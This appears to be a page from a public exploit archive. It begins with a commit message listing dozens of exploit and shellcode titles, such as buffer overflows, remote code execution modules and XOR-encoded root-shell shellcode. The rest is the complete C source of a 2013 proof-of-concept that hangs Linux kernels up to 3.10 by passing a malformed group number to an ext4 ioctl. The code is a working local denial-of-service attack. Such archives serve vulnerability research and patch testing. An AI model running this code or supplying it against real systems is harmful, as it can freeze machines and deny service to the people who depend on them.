880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
58 lines
No EOL
1.3 KiB
C
58 lines
No EOL
1.3 KiB
C
/*
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source: https://www.securityfocus.com/bid/60586/info
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The Linux Kernel is prone to a local denial-of-service vulnerability.
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Local attackers can exploit this issue to trigger an infinite loop which may cause denial-of-service conditions.
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*/
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/*
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** PoC - kernel <= 3.10 CPU Thread consumption in ext4 support. (Infinite loop)
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** Jonathan Salwan - 2013-06-05
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*/
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#include <errno.h>
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#include <fcntl.h>
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#include <linux/fs.h>
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#include <stdio.h>
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#include <sys/ioctl.h>
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#include <sys/stat.h>
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#include <sys/types.h>
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struct ext4_new_group_input {
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__u32 group;
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__u64 block_bitmap;
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__u64 inode_bitmap;
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__u64 inode_table;
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__u32 blocks_count;
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__u16 reserved_blocks;
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__u16 unused;
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};
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#define EXT4_IOC_GROUP_ADD _IOW('f', 8, struct ext4_new_group_input)
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int main(int ac, const char *av[]){
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struct ext4_new_group_input input;
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int fd;
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if (ac < 2){
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printf("Syntax : %s <ext4 device>\n", av[0]);
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printf("Example : %s /tmp\n", av[0]);
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return -1;
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}
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printf("[+] Opening the ext4 device\n");
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if ((fd = open(av[1], O_RDONLY)) < 0){
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perror("[-] open");
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return -1;
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}
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printf("[+] Trigger the infinite loop\n");
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input.group = -1;
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if (ioctl(fd, EXT4_IOC_GROUP_ADD, &input) < 0){
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perror("[-] ioctl");
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}
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close(fd);
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return 0;
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} |